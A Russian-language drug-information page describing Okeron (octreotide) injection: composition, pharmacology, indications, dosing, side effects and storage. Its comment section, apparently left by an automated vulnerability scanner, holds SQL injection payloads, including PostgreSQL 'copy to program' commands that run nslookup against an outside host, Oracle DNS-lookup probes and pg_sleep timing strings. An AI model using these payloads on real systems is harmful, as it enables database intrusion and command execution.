Загрузить Документ
Получить свидетельство
о публикации
Задать вопрос
Задайть свой вопрос специалисту!
Поиск препаратов
Язык:
    На сайте вы найдете описание препаратов, инструкция по их применению и отзывы
    ВНИМАНИЕ! Вся информация взята из открытых источников и предоставляется исключительно в ознакомительных целях.

    Окерон раствор для инъекций , 0,05 мг/1 мл по 1 мл в ампулах №1

    Действующее вещество: Октреотид
    Лекарственная форма: Растворы для внутреннего применения
    Фармакотерапевтическая группа: Гормоны гипофиза и гипоталамуса.
    Внешний вид препарата: Окерон раствор для инъекций , 0,05 мг/1 мл по 1 мл в ампулах №1 Внешний вид упаковки может отличаться от указанных.

    Общая характеристика

    международное название: октреотид;

    Основные физико-химические свойства

    прозрачная бесцветная жидкость;

    Состав

    1 мл содержит октреотида ацетата 50 мкг или 100 мкг;

    вспомогательные вещества: кислота молочная, маннитол, натрия бикарбонат, вода для инъекций.

    Форма выпуска

    Раствор для инъекций.

    Фармакотерапевтическая группа

    Гипоталамические гормоны. Код ATC Н01СВ02.

    Фармакологические свойства

    Фармакодинамика.

    ОКЕРОН представляет собой синтетический октопептид, являющийся производным естественного гормона соматостатина, он имеет подобные фармакологические эффекты, но при этом продолжительность его действия значительно больше. Препарат подавляет патологически повышенную секрецию гормона роста, а также пептидов и серотонина, которые образуются в гастро-энтеро-панкреатичий эндокринной системе.

    У больных, которым проводятся операции па поджелудочной железе, применение октреотида во время операции и после нее снижает частоту типичных послеоперационных осложнений, например, панкреатических свищей, абсцессов, сепсиса, острого послеоперационного панкреатита и др.

    Фармакокинетика.

    После подкожного введения препарат быстро и полностью проникает в кровяное русло. Максимальная концентрация препарата в плазме достигается в пределах 30 мин после введения.

    Связывание с белками плазмы составляет 65 %. Связывание октреотида с форменными элементами крови крайне незначительно. Объем распределения составляет 0,27 л/кг.

    Общий клиренс – 160 мл/мин. Около 32 % введенной дозы препарата выводится в неизмененном виде почками. Период полувыведения (Т1/2) после подкожной инъекции препарата составляет 100 мин. После внутривенного введения выведение препарата осуществляется в две фазы: Т1/2 - 10 и 90 минут соответственно. У пожилых пациентов снижается клиренс, а Т1/2 увеличивается. При тяжелой почечной недостаточности клиренс уменьшается вдвое.

    Показания для применения

    Акромегалия (при отсутствии достаточного эффекта от хирургического лечения, лучевой терапии и у неоперабельных больных).

    Профилактика и лечение осложнений после операций на поджелудочной железе.

    Рефрактерная диарея у больных СПИДОМ.

    Остановка кровотечения и профилактика повторного кровотечения из варикозно расширенных вен пищевода у больных циррозом печени.

    Эндокринные опухоли жкт и поджелудочной железы, карциноїдни опухоли с наличием карциноїдного синдрома, глюкагономи, гастриномы (синдром Золлингера-Эллисона), инсулиномы, соматолибериноми.

    Способ применения и дозы

    При акромегалии подкожно начальная доза составляет 0,05-0,1 мг через 8-12 ч, в дальнейшем в зависимости от концентрации гормона роста в крови, клинических симптомов и переносимости препарата. У большинства больных суточная доза составляет 0,2-0,3 мг. Максимальная доза – 1,5 мг/сутки. Если в течение трех месяцев лечения отсутствует положительная динамика, лечение следует прекратить.

    Для профилактики осложнений после операций на поджелудочной железе первую дозу 0,1 мг вводят подкожно за 1 ч до лапаротомии; затем после операции вводят подкожно по 0,1 мг 3 раза в сутки в течение 7 последующих дней.

    Для остановки кровотечения из варикозно расширенных вен пищевода вводят внутривенное в дозе 0,025-0,05 мг в час в виде длительных инфузий в течение 5 дней. У больных пожилого возраста нет необходимости в снижении дозы октреотида.

    При рефрактерной диарее у больных СПИДОМ вводят подкожно в начальной дозе 0,1 мг 3 раза в сутки. Если после 1 недели лечения симптомы не исчезают, дозу повышают до 0,25 мг 3 раза в сутки.

    При эндокринных опухолях пищеварительного тракта и поджелудочной железы вводят подкожно в начальной дозе 0,05 мг1-2 раза в сутки. Далее, в зависимости от клинического эффекта (исследования гормонов, продуцируемых опухолью), переносимости препарата дозу можно постепенно повысить до 0,1-0,2 мг 3 раза в сутки. В особых случаях могут потребоваться более высокие дозы. Поддерживающую дозу устанавливают индивидуально.

    Побочное действие

    Со стороны ЖКТ, поджелудочной железы, печени и желчного пузыря: возможны - анорексия, тошнота, рвота, спастические боли в животе, ощущение вздутия живота, избыточное газообразование, диарея и стеаторея. Хотя выделение жира с калом может возрастать, нет указаний на то, что длительное лечение октреотидом может приводить к развитию нарушений всасывания (мальабсорбция). В редких случаях могут отмечаться явления, напоминающие острую кишечную непроходимость.

    Известны отдельные случаи острого гепатита без холестаза, а также гипербилирубинемии в сочетании с увеличением активности щелочной фосфатазы, гамма-глютамилтрансферази и несколько меньше других трансаминаз.

    Длительное использование ОКЕРОНу может приводить к образованию конкрементов в желчном пузыре.

    Есть сообщения о единичных случаях острого панкреатита, развивавшегося в первые часы или дни применения и шло после отмены октреотида.

    Со стороны сердечно-сосудистой системы: в отдельных случаях - аритмия, брадикардия.

    Со стороны углеводного обмена: возможно нарушение толерантности к глюкозе после приема пищи (обусловлено подавлением препаратом секреции инсулина), гипогликемия; в единичных случаях при длительном лечении возможно развитие персистирующей гипергликемии.

    Местные реакции: в месте инъекции возможны боль, ощущение зуда или жжение, краснота и отек (такие явления обычно проходят в течение 15 мин).

    Другие: аллергические реакции, алопеция.

    Противопоказания

    Повышенная чувствительность к компонентам препарата.

    Передозировка

    Возможны следующие симптомы: кратковременное снижение ЧСС, чувство прилива, спастические боли в животе, диарея, тошнота, ощущение пустоты в желудке.

    Лечение симптоматическое.

    Особенности применения

    ОКЕРОН надо применять с осторожностью у пациентов страдающих желчнокаменной болезнью и сахарным диабетом.

    У больных сахарным диабетом, получающих инсулин, ОКЕРОН может снижать потребность в инсулине.

    Если камни в желчном пузыре выявлены перед началом лечения, вопрос о применении ОКЕРОНУ решается индивидуально, в зависимости от соотношения потенциального лечебного эффекта препарата и возможных факторов риска, связанных с наличием камней в желчном пузыре.

    Побочные эффекты со стороны ЖКТ могут быть уменьшены, если инъекции ОКЕРОНУ делать в промежутках между приемами пищи или перед сном.

    Для уменьшения явлений дискомфорта в месте инъекции рекомендуется доводить раствор препарата перед введением до комнатной температуры и вводить меньший объем препарата. Следует избегать нескольких инъекций в одно и то же место через короткие интервалы времени.

    Беременность и лактация. Адекватных и контролируемых исследований у человека не проводилось. Применение во время беременности и в период лактации только по абсолютным показаниям, с учетом соотношения риск/польза, то есть когда предполагаемая польза для матери превышает предполагаемый риск для плода. Категория действия на плод Бы.

    Взаимодействие с другими лекарственными средствами

    ОКЕРОН уменьшает всасывание циклоспорина и замедляет всасывание циметидина.

    Необходима корректировка доз одновременно применяемых мочегонных средств, b-адреноблокаторов, антагонистов кальция, инсулина, пероральных гипогликемических препаратов.

    При одновременном применении окерону и бромкриптина биодоступность последнего повышается.

    Препараты, метаболизирующиеся ферментами системы цитохромар450 и имеющие узкий терапевтический диапазон доз, следует назначать с осторожностью.

    Условия и срок хранения

    Хранить в защищенном от света месте и недоступном для детей месте, при температуре от 2°С до 8°С. Не замораживать!

    Срок годности - 2 года.

    Условия отпуска

    По рецепту.

    Упаковка

    По 1 мл в ампуле, по 1 ампуле в коробке.

    Производитель

    Вокхардт Лимитед.

    Адрес

    Вокхардт Тауэрс, Бандра-Курла Комплекс, Бандра Ист, Мумбай 400 051, Индия.

    Внимание! Текст описания препарата "Окерон раствор для инъекций , 0,05 мг/1 мл по 1 мл в ампулах №1" предоставлен для общей информации и ознакомления и является упрощённым вариантом официальной аннотации к лекарству. Перед приобретением и использованием препарата обязательно обратитесь к врачу и получите профессиональные рекомендации. Данный текст размещён на портале сугубо для ознакомительных целей и не может служить основанием для самолечения. Только врач может выносить решение о назначении того или иного лекарства, определять дозу и график приёма.

    Оставить комментарий может только зарегестрированный пользователь (Войти и Регистрация)

     • 

    1

     • 

    1

     • 

    206'

     • 

    1';copy (select '') to program 'nslookup dns.sqli.\013405.1533-5015.1533.73c40.\1.bxss.me

     • 

    1;copy (select '') to program 'nslookup dns.sqli.\013405.1533-5011.1533.73c40.\1.bxss.me'

     • 

    '||UTL_INADDR.get_host_address('dns.'||'sqli.013405.1533-5010.1533.73c40.1.bxss'||'.me')||'

     • 

    1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.1533-5008.1533.73c40.1.bxss'||'.me')

     • 

    vWWf9y1V'));select pg_sleep(42.516000000000005); --

     • 

    NhSe1RcL');select pg_sleep(42.516000000000005); --

     • 

    7asKDdXY';select pg_sleep(28.344); --

    Показаны записи 1-10 из 471.
    Top